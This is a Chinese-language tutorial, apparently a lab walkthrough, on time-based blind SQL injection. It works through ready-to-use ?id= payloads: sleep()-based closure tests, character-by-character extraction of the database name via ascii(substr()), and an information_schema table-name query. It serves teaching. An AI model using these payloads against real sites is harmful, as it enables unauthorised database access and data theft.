IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> sql盲注_时间盲注 -> 正文阅读

[大数据]sql盲注_时间盲注

盲注:页面没有报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行sql注入
盲注分类:布尔盲注、时间盲注、报错盲注
时间盲注:web页面只能返回一个正常的页面。
利用页面响应时间不同,逐个猜解数据
前提是数据库会执行命令代码,只是不反馈页面信息

?id=1' and 1=1 

在这里插入图片描述

?id=1' and 1=2

在这里插入图片描述
没有证真值、假值。都是一样的页面
sleep()函数,参数为休眠时长,以秒为单位,可以为小数

mysql>select sleep();
?id=1 and sleep(3) --+

因为id=1是数字型的,如果是数字型的页面就会等待3秒出现
页面很快刷新很显然不是数字型
试试双引号闭合

?id=1"  and sleep(3) --+

刷新嘎嘎快,也不是双引号

?id=1'  and sleep(3) --+

在这里插入图片描述
页面有明显的延迟,说明是单引号闭合
在这里插入图片描述
函数if(condition,true,false) condition为条件,true当条件为真时返回值,false当条件为假时返回的值

mysql>select if(1=1,sleep(0),sleep(3);

1=1为真休眠0秒

mysql>select if(1=2,sleep(0),sleep(3);

1=2为假休眠3秒
猜解第一个字符

mysql>select if(ascii(substr((select database()),1,1))>=100,sleep(0),sleep(3));

如果不理解ascii(),substr()函数可以去sql盲注_布尔盲注

?id=1'  and  if(ascii(substr((select database()),1,1))>=100,sleep(0),sleep(3)) --+

在这里插入图片描述

?id=1'  and  if(ascii(substr((select database()),1,1))>=110,sleep(0),sleep(3)) --+

在这里插入图片描述

?id=1'  and  if(ascii(substr((select database()),1,1))>=120,sleep(0),sleep(3)) --+

在这里插入图片描述
110-120之间

?id=1'  and  if(ascii(substr((select database()),1,1))>=115,sleep(0),sleep(3)) --+

在这里插入图片描述
115-120之间

?id=1'  and  if(ascii(substr((select database()),1,1))>=117,sleep(0),sleep(3)) --+

在这里插入图片描述
115-117之间

?id=1'  and  if(ascii(substr((select database()),1,1))>=117,sleep(0),sleep(3)) --+

在这里插入图片描述
说明应该是115

?id=1'  and  if(ascii(substr((select database()),1,1))=115,sleep(0),sleep(3)) --+

在这里插入图片描述
对应ascii表是s
第二个字符(不想写)
查询表

select table_name from information_schema.tables where table_schema=database() limit 0,1;
?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>100,sleep(0),sleep(3))

时间盲注闭合符判断

?id=1 and sleep(2) --+
?id=1' and sleep(2) --+
?id=1') and sleep(2) --+
?id=1" and sleep(2) --+
?id=1") and sleep(2) --+
  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-06-08 19:06:49  更:2022-06-08 19:09:09 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 23:49:50-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码